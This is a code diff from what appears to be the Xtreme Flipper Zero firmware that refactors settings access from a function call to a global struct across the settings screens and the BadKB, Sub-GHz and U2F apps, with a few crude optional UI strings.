if(XTREME_SETTINGS()->sort_dirs_first) {
if(xtreme_settings.sort_dirs_first) {
if(a->type == ArchiveFileTypeFolder && b->type != ArchiveFileTypeFolder) {
return -1;
}

View File

@@ -17,7 +17,7 @@ void favorite_timeout_callback(void* _ctx) {
}
void favorite_timeout_run(ViewDispatcher* view_dispatcher, SceneManager* scene_manager) {
uint32_t timeout = XTREME_SETTINGS()->favorite_timeout;
uint32_t timeout = xtreme_settings.favorite_timeout;
if(timeout == 0) {
view_dispatcher_run(view_dispatcher);
return;

View File

@@ -146,8 +146,8 @@ BadKbApp* bad_kb_app_alloc(char* arg) {
Bt* bt = furi_record_open(RECORD_BT);
app->bt = bt;
app->bt->suppress_pin_screen = true;
app->is_bt = XTREME_SETTINGS()->bad_bt;
app->bt_remember = XTREME_SETTINGS()->bad_bt_remember;
app->is_bt = xtreme_settings.bad_bt;
app->bt_remember = xtreme_settings.bad_bt_remember;
bad_kb_config_adjust(&app->config);
// Save prev config

View File

@@ -687,11 +687,10 @@ void bad_kb_config_refresh(BadKbApp* app) {
scene_manager_previous_scene(app->scene_manager);
// Update settings
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
if(xtreme_settings->bad_bt != app->is_bt ||
xtreme_settings->bad_bt_remember != app->bt_remember) {
xtreme_settings->bad_bt = app->is_bt;
xtreme_settings->bad_bt_remember = app->bt_remember;
if(xtreme_settings.bad_bt != app->is_bt ||
xtreme_settings.bad_bt_remember != app->bt_remember) {
xtreme_settings.bad_bt = app->is_bt;
xtreme_settings.bad_bt_remember = app->bt_remember;
XTREME_SETTINGS_SAVE();
}
}

View File

@@ -50,7 +50,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) {
if((state == BadKbStateIdle) || (state == BadKbStateDone) ||
(state == BadKbStateNotConnected)) {
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
elements_button_center(canvas, "Cum");
} else {
elements_button_center(canvas, "Run");
@@ -73,7 +73,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) {
if(state == BadKbStateNotConnected) {
canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18);
canvas_set_font(canvas, FontPrimary);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Plug me");
canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "in, Daddy");
} else {
@@ -83,7 +83,7 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) {
} else if(state == BadKbStateWillRun) {
canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18);
canvas_set_font(canvas, FontPrimary);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will cum");
} else {
canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will run");

View File

@@ -2,9 +2,8 @@
#include <xtreme.h>
#include "minmea.h"
#define UART_CH \
(XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \
FuriHalUartIdLPUART1)
#define UART_CH \
(xtreme_settings.uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : FuriHalUartIdLPUART1)
#define RX_BUF_SIZE 1024
@@ -97,4 +96,4 @@ double subghz_gps_calc_distance(double lat1d, double lon1d, double lat2d, double
* @param lon2 Longitude 2
* @return double Angle in degree
*/
double subghz_gps_calc_angle(double lat1, double lon1, double lat2, double lon2);
double subghz_gps_calc_angle(double lat1, double lon1, double lat2, double lon2);

View File

@@ -5,19 +5,21 @@
enum SubGhzSettingIndex {
SubGhzSettingIndexFrequency,
SubGhzSettingIndexHopping,
SubGhzSettingIndexModulation,
SubGhzSettingIndexHopping,
SubGhzSettingIndexRAWSound = SubGhzSettingIndexHopping,
SubGhzSettingIndexBinRAW,
SubGhzSettingIndexRAWRSSIThreshold = SubGhzSettingIndexBinRAW,
SubGhzSettingIndexIgnoreStarline,
SubGhzSettingIndexIgnoreCars,
SubGhzSettingIndexIgnoreMagellan,
SubGhzSettingIndexIgnorePrinceton,
SubGhzSettingIndexIgnoreNiceFlorS,
SubGhzSettingIndexIgnoreWeather,
SubGhzSettingIndexIgnoreTPMS,
SubGhzSettingIndexIgnorePrinceton,
SubGhzSettingIndexSound,
SubGhzSettingIndexResetToDefault,
SubGhzSettingIndexLock,
SubGhzSettingIndexRAWThresholdRSSI,
};
#define RAW_THRESHOLD_RSSI_COUNT 11
@@ -467,7 +469,7 @@ void subghz_scene_receiver_config_on_enter(void* context) {
item = variable_item_list_add(
subghz->variable_item_list,
"Ignore NiceFlorS / Nice One",
"Ignore Nice Flor-S / Nice One",
COMBO_BOX_COUNT,
subghz_scene_receiver_config_set_niceflors,
subghz);

View File

@@ -81,7 +81,7 @@ void subghz_scene_transmitter_on_enter(void* context) {
subghz->fav_timer = furi_timer_alloc(fav_timer_callback, FuriTimerTypeOnce, subghz);
furi_timer_start(
subghz->fav_timer,
XTREME_SETTINGS()->favorite_timeout * furi_kernel_get_tick_frequency());
xtreme_settings.favorite_timeout * furi_kernel_get_tick_frequency());
// subghz->state_notifications = SubGhzNotificationStateTx;
}
}

View File

@@ -373,7 +373,7 @@ int32_t subghz_app(char* p) {
}
// Check argument and run corresponding scene
bool is_favorite = process_favorite_launch(&p) && XTREME_SETTINGS()->favorite_timeout;
bool is_favorite = process_favorite_launch(&p) && xtreme_settings.favorite_timeout;
if(p && strlen(p)) {
uint32_t rpc_ctx = 0;

View File

@@ -21,7 +21,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) {
if(model->display_msg == U2fMsgNotConnected) {
canvas_draw_icon(canvas, 22, 15, &I_Connect_me_62x31);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
canvas_draw_str_aligned(
canvas, 128 / 2, 3, AlignCenter, AlignTop, "Plug me in d-daddy");
} else {
@@ -32,7 +32,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) {
canvas_draw_icon(canvas, 22, 15, &I_Connected_62x31);
canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Connected!");
} else if(model->display_msg == U2fMsgRegister) {
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
elements_button_center(canvas, "CUM");
canvas_draw_icon(canvas, 22, 15, &I_Auth_62x31);
canvas_draw_str_aligned(
@@ -44,7 +44,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) {
canvas, 128 / 2, 3, AlignCenter, AlignTop, "Press OK to register");
}
} else if(model->display_msg == U2fMsgAuth) {
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
elements_button_center(canvas, "CUM");
canvas_draw_icon(canvas, 22, 15, &I_Auth_62x31);
canvas_draw_str_aligned(
@@ -57,7 +57,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) {
}
} else if(model->display_msg == U2fMsgSuccess) {
canvas_draw_icon(canvas, 22, 15, &I_Connected_62x31);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Cum released~");
} else {
canvas_draw_str_aligned(
@@ -65,7 +65,7 @@ static void u2f_view_draw_callback(Canvas* canvas, void* _model) {
}
} else if(model->display_msg == U2fMsgError) {
canvas_draw_icon(canvas, 22, 15, &I_Error_62x31);
if(XTREME_SETTINGS()->is_nsfw) {
if(xtreme_settings.is_nsfw) {
canvas_draw_str_aligned(canvas, 128 / 2, 3, AlignCenter, AlignTop, "Unable to cum");
} else {
canvas_draw_str_aligned(

View File

@@ -16,7 +16,7 @@ static void xtreme_app_scene_interface_filebrowser_sort_dirs_first_changed(Varia
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->sort_dirs_first = value;
xtreme_settings.sort_dirs_first = value;
app->save_settings = true;
}
@@ -24,7 +24,7 @@ static void xtreme_app_scene_interface_filebrowser_show_hidden_files_changed(Var
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->show_hidden_files = value;
xtreme_settings.show_hidden_files = value;
app->save_settings = true;
}
@@ -32,7 +32,7 @@ static void xtreme_app_scene_interface_filebrowser_show_internal_tab_changed(Var
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->show_internal_tab = value;
xtreme_settings.show_internal_tab = value;
app->save_settings = true;
}
@@ -42,13 +42,12 @@ static void xtreme_app_scene_interface_filebrowser_favorite_timeout_changed(Vari
char text[6];
snprintf(text, sizeof(text), "%lu S", value);
variable_item_set_current_value_text(item, value ? text : "OFF");
XTREME_SETTINGS()->favorite_timeout = value;
xtreme_settings.favorite_timeout = value;
app->save_settings = true;
}
void xtreme_app_scene_interface_filebrowser_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
@@ -58,8 +57,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) {
2,
xtreme_app_scene_interface_filebrowser_sort_dirs_first_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first);
variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.sort_dirs_first);
variable_item_set_current_value_text(item, xtreme_settings.sort_dirs_first ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -67,8 +66,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) {
2,
xtreme_app_scene_interface_filebrowser_show_hidden_files_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->show_hidden_files);
variable_item_set_current_value_text(item, xtreme_settings->show_hidden_files ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.show_hidden_files);
variable_item_set_current_value_text(item, xtreme_settings.show_hidden_files ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -76,8 +75,8 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) {
2,
xtreme_app_scene_interface_filebrowser_show_internal_tab_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->show_internal_tab);
variable_item_set_current_value_text(item, xtreme_settings->show_internal_tab ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.show_internal_tab);
variable_item_set_current_value_text(item, xtreme_settings.show_internal_tab ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -85,10 +84,10 @@ void xtreme_app_scene_interface_filebrowser_on_enter(void* context) {
61,
xtreme_app_scene_interface_filebrowser_favorite_timeout_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->favorite_timeout);
variable_item_set_current_value_index(item, xtreme_settings.favorite_timeout);
char text[4];
snprintf(text, sizeof(text), "%lu S", xtreme_settings->favorite_timeout);
variable_item_set_current_value_text(item, xtreme_settings->favorite_timeout ? text : "OFF");
snprintf(text, sizeof(text), "%lu S", xtreme_settings.favorite_timeout);
variable_item_set_current_value_text(item, xtreme_settings.favorite_timeout ? text : "OFF");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_interface_filebrowser_var_item_list_callback, app);

View File

@@ -19,7 +19,7 @@ static void xtreme_app_scene_interface_graphics_asset_pack_changed(VariableItem*
variable_item_set_current_value_text(
item, index == 0 ? "Default" : *CharList_get(app->asset_pack_names, index - 1));
strlcpy(
XTREME_SETTINGS()->asset_pack,
xtreme_settings.asset_pack,
index == 0 ? "" : *CharList_get(app->asset_pack_names, index - 1),
XTREME_ASSETS_PACK_NAME_LEN);
app->asset_pack_index = index;
@@ -59,7 +59,7 @@ static void xtreme_app_scene_interface_graphics_anim_speed_changed(VariableItem*
XtremeApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, anim_speed_names[index]);
XTREME_SETTINGS()->anim_speed = anim_speed_values[index];
xtreme_settings.anim_speed = anim_speed_values[index];
app->save_settings = true;
}
@@ -97,7 +97,7 @@ static void xtreme_app_scene_interface_graphics_cycle_anims_changed(VariableItem
XtremeApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, cycle_anims_names[index]);
XTREME_SETTINGS()->cycle_anims = cycle_anims_values[index];
xtreme_settings.cycle_anims = cycle_anims_values[index];
app->save_settings = true;
}
@@ -105,7 +105,7 @@ static void xtreme_app_scene_interface_graphics_unlock_anims_changed(VariableIte
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->unlock_anims = value;
xtreme_settings.unlock_anims = value;
app->save_settings = true;
}
@@ -113,13 +113,12 @@ static void xtreme_app_scene_interface_graphics_fallback_anim_changed(VariableIt
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->fallback_anim = value;
xtreme_settings.fallback_anim = value;
app->save_settings = true;
}
void xtreme_app_scene_interface_graphics_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
uint8_t value_index;
@@ -144,7 +143,7 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) {
xtreme_app_scene_interface_graphics_anim_speed_changed,
app);
value_index = value_index_uint32(
xtreme_settings->anim_speed, anim_speed_values, COUNT_OF(anim_speed_values));
xtreme_settings.anim_speed, anim_speed_values, COUNT_OF(anim_speed_values));
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, anim_speed_names[value_index]);
@@ -155,7 +154,7 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) {
xtreme_app_scene_interface_graphics_cycle_anims_changed,
app);
value_index = value_index_int32(
xtreme_settings->cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_values));
xtreme_settings.cycle_anims, cycle_anims_values, COUNT_OF(cycle_anims_values));
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, cycle_anims_names[value_index]);
@@ -165,8 +164,8 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) {
2,
xtreme_app_scene_interface_graphics_unlock_anims_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->unlock_anims);
variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.unlock_anims);
variable_item_set_current_value_text(item, xtreme_settings.unlock_anims ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -174,8 +173,8 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) {
2,
xtreme_app_scene_interface_graphics_fallback_anim_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->fallback_anim);
variable_item_set_current_value_text(item, xtreme_settings->fallback_anim ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.fallback_anim);
variable_item_set_current_value_text(item, xtreme_settings.fallback_anim ? "ON" : "OFF");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app);

View File

@@ -20,7 +20,7 @@ static void xtreme_app_scene_interface_lockscreen_lock_on_boot_changed(VariableI
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lock_on_boot = value;
xtreme_settings.lock_on_boot = value;
app->save_settings = true;
}
@@ -28,7 +28,7 @@ static void xtreme_app_scene_interface_lockscreen_bad_pins_format_changed(Variab
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->bad_pins_format = value;
xtreme_settings.bad_pins_format = value;
app->save_settings = true;
}
@@ -37,7 +37,7 @@ static void
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->allow_locked_rpc_commands = value;
xtreme_settings.allow_locked_rpc_commands = value;
app->save_settings = true;
}
@@ -45,7 +45,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_time_changed(Variab
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_time = value;
xtreme_settings.lockscreen_time = value;
app->save_settings = true;
}
@@ -53,7 +53,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_seconds_changed(Var
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_seconds = value;
xtreme_settings.lockscreen_seconds = value;
app->save_settings = true;
}
@@ -61,7 +61,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_date_changed(Variab
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_date = value;
xtreme_settings.lockscreen_date = value;
app->save_settings = true;
}
@@ -70,7 +70,7 @@ static void
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_statusbar = value;
xtreme_settings.lockscreen_statusbar = value;
app->save_settings = true;
}
@@ -78,7 +78,7 @@ static void xtreme_app_scene_interface_lockscreen_lockscreen_prompt_changed(Vari
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_prompt = value;
xtreme_settings.lockscreen_prompt = value;
app->save_settings = true;
}
@@ -87,13 +87,12 @@ static void
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->lockscreen_transparent = value;
xtreme_settings.lockscreen_transparent = value;
app->save_settings = true;
}
void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
@@ -103,8 +102,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lock_on_boot_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lock_on_boot);
variable_item_set_current_value_text(item, xtreme_settings->lock_on_boot ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.lock_on_boot);
variable_item_set_current_value_text(item, xtreme_settings.lock_on_boot ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -112,8 +111,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_bad_pins_format_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->bad_pins_format);
variable_item_set_current_value_text(item, xtreme_settings->bad_pins_format ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.bad_pins_format);
variable_item_set_current_value_text(item, xtreme_settings.bad_pins_format ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -121,9 +120,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_allow_locked_rpc_commands_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->allow_locked_rpc_commands);
variable_item_set_current_value_index(item, xtreme_settings.allow_locked_rpc_commands);
variable_item_set_current_value_text(
item, xtreme_settings->allow_locked_rpc_commands ? "ON" : "OFF");
item, xtreme_settings.allow_locked_rpc_commands ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -131,8 +130,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_time_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_time);
variable_item_set_current_value_text(item, xtreme_settings->lockscreen_time ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_time);
variable_item_set_current_value_text(item, xtreme_settings.lockscreen_time ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -140,8 +139,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_seconds_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_seconds);
variable_item_set_current_value_text(item, xtreme_settings->lockscreen_seconds ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_seconds);
variable_item_set_current_value_text(item, xtreme_settings.lockscreen_seconds ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -149,8 +148,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_date_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_date);
variable_item_set_current_value_text(item, xtreme_settings->lockscreen_date ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_date);
variable_item_set_current_value_text(item, xtreme_settings.lockscreen_date ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -158,9 +157,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_statusbar_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar);
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_statusbar);
variable_item_set_current_value_text(
item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF");
item, xtreme_settings.lockscreen_statusbar ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -168,8 +167,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_prompt_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_prompt);
variable_item_set_current_value_text(item, xtreme_settings->lockscreen_prompt ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_prompt);
variable_item_set_current_value_text(item, xtreme_settings.lockscreen_prompt ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -177,9 +176,9 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) {
2,
xtreme_app_scene_interface_lockscreen_lockscreen_transparent_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->lockscreen_transparent);
variable_item_set_current_value_index(item, xtreme_settings.lockscreen_transparent);
variable_item_set_current_value_text(
item, xtreme_settings->lockscreen_transparent ? "ON" : "OFF");
item, xtreme_settings.lockscreen_transparent ? "ON" : "OFF");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app);

View File

@@ -29,7 +29,7 @@ static void xtreme_app_scene_interface_mainmenu_menu_style_changed(VariableItem*
XtremeApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, menu_style_names[index]);
XTREME_SETTINGS()->menu_style = index;
xtreme_settings.menu_style = index;
app->save_settings = true;
}
@@ -68,7 +68,6 @@ static void xtreme_app_scene_interface_mainmenu_move_app_changed(VariableItem* i
void xtreme_app_scene_interface_mainmenu_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
@@ -78,8 +77,8 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) {
MenuStyleCount,
xtreme_app_scene_interface_mainmenu_menu_style_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->menu_style);
variable_item_set_current_value_text(item, menu_style_names[xtreme_settings->menu_style]);
variable_item_set_current_value_index(item, xtreme_settings.menu_style);
variable_item_set_current_value_text(item, menu_style_names[xtreme_settings.menu_style]);
variable_item_list_add(var_item_list, "Reset Menu", 0, NULL, app);

View File

@@ -37,6 +37,9 @@ bool xtreme_app_scene_interface_mainmenu_reset_on_event(void* context, SceneMana
app->require_reboot = true;
xtreme_app_apply(app);
break;
case DialogExResultLeft:
scene_manager_previous_scene(app->scene_manager);
break;
default:
break;
}

View File

@@ -26,7 +26,7 @@ static void xtreme_app_scene_interface_statusbar_battery_icon_changed(VariableIt
XtremeApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, battery_icon_names[index]);
XTREME_SETTINGS()->battery_icon = index;
xtreme_settings.battery_icon = index;
app->save_settings = true;
power_set_battery_icon_enabled(furi_record_open(RECORD_POWER), index != BatteryIconOff);
furi_record_close(RECORD_POWER);
@@ -36,7 +36,7 @@ static void xtreme_app_scene_interface_statusbar_statusbar_clock_changed(Variabl
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->statusbar_clock = value;
xtreme_settings.statusbar_clock = value;
app->save_settings = true;
}
@@ -44,7 +44,7 @@ static void xtreme_app_scene_interface_statusbar_status_icons_changed(VariableIt
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->status_icons = value;
xtreme_settings.status_icons = value;
app->save_settings = true;
}
@@ -52,7 +52,7 @@ static void xtreme_app_scene_interface_statusbar_bar_borders_changed(VariableIte
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->bar_borders = value;
xtreme_settings.bar_borders = value;
app->save_settings = true;
}
@@ -60,13 +60,12 @@ static void xtreme_app_scene_interface_statusbar_bar_background_changed(Variable
XtremeApp* app = variable_item_get_context(item);
bool value = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, value ? "ON" : "OFF");
XTREME_SETTINGS()->bar_background = value;
xtreme_settings.bar_background = value;
app->save_settings = true;
}
void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
XtremeApp* app = context;
XtremeSettings* xtreme_settings = XTREME_SETTINGS();
VariableItemList* var_item_list = app->var_item_list;
VariableItem* item;
@@ -76,8 +75,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
BatteryIconCount,
xtreme_app_scene_interface_statusbar_battery_icon_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->battery_icon);
variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings->battery_icon]);
variable_item_set_current_value_index(item, xtreme_settings.battery_icon);
variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings.battery_icon]);
item = variable_item_list_add(
var_item_list,
@@ -85,8 +84,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
2,
xtreme_app_scene_interface_statusbar_statusbar_clock_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->statusbar_clock);
variable_item_set_current_value_text(item, xtreme_settings->statusbar_clock ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.statusbar_clock);
variable_item_set_current_value_text(item, xtreme_settings.statusbar_clock ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -94,8 +93,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
2,
xtreme_app_scene_interface_statusbar_status_icons_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->status_icons);
variable_item_set_current_value_text(item, xtreme_settings->status_icons ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.status_icons);
variable_item_set_current_value_text(item, xtreme_settings.status_icons ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -103,8 +102,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
2,
xtreme_app_scene_interface_statusbar_bar_borders_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->bar_borders);
variable_item_set_current_value_text(item, xtreme_settings->bar_borders ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.bar_borders);
variable_item_set_current_value_text(item, xtreme_settings.bar_borders ? "ON" : "OFF");
item = variable_item_list_add(
var_item_list,
@@ -112,8 +111,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) {
2,
xtreme_app_scene_interface_statusbar_bar_background_changed,
app);
variable_item_set_current_value_index(item, xtreme_settings->bar_background);
variable_item_set_current_value_text(item, xtreme_settings->bar_background ? "ON" : "OFF");
variable_item_set_current_value_index(item, xtreme_settings.bar_background);
variable_item_set_current_value_text(item, xtreme_settings.bar_background ? "ON" : "OFF");
variable_item_list_set_enter_callback(
var_item_list, xtreme_app_scene_interface_statusbar_var_item_list_callback, app);

View File

@@ -20,13 +20,12 @@ static void xtreme_app_scene_misc_charge_cap_changed(VariableItem* item) {
uint32_t value = (variable_item_get_current_value_index(item) + 1) * CHARGE_CAP_INTV;
snprintf(cap_str, 6, "%lu%%", value);
variable_item_set_current_value_text(item, cap_str);
XTREME_SETTINGS()->charge_cap = value;
xtreme_settings.charge_cap = value;
app->save_settings = true;
}
